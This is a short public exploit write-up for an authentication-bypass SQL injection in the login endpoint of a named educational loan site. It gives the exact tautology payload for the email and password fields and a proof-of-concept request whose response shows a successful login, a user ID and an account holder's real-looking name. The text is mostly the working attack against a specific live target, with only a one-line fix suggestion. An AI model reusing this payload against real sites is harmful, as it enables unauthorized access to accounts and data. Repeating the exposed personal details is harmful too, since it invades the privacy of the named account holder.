

Vulnerable SQL Injection allowing attacker inject malicious query without authentication in login page

Date: 01/05/2024

Site: secure.srlfloan.edu.bb

Exploit Author: Spcyio.Kon

Contact me:

+) Facebook: www.facebook.com/s1mpl3Love

+) Github: github.com/tiyeume25112004

Description: The vulnerable exists in the "/Methods.aspx/DoLogin" and can be exploited through "email_address" and "password" parameters.

Impact: Allowing attacker inject and access, disclosure of all data on system

Suggestion: User input should be santinized, escaping and parameterized query

Payload exploit: konchanabc' or '1' = '1' -- -@gmail.com

Proof of Concept

Request and Response

The screenshot displays the network tab of a web browser's developer tools, showing an HTTP request and its corresponding response. The request is a POST to the endpoint `/Methods.aspx/DoLogin` on the domain `secure.srlfloan.edu.bb`. The request body is a JSON object with the following fields:

```
{  "email_address": "konchanabc' or '1' = '1' -- -@gmail.com",  "password": "konchanabc' or '1' = '1' -- -@gmail.com"}
```

The response is an HTTP 200 OK status. The response body is a JSON object indicating a successful login:

```
{  "type": "Konchanabc' or '1' = '1' -- -@gmail.com",  "User ID": 8473,  "RealName": "Dwayne Dottin",  "Success": true,  "Error": null,  "Errors": []}
```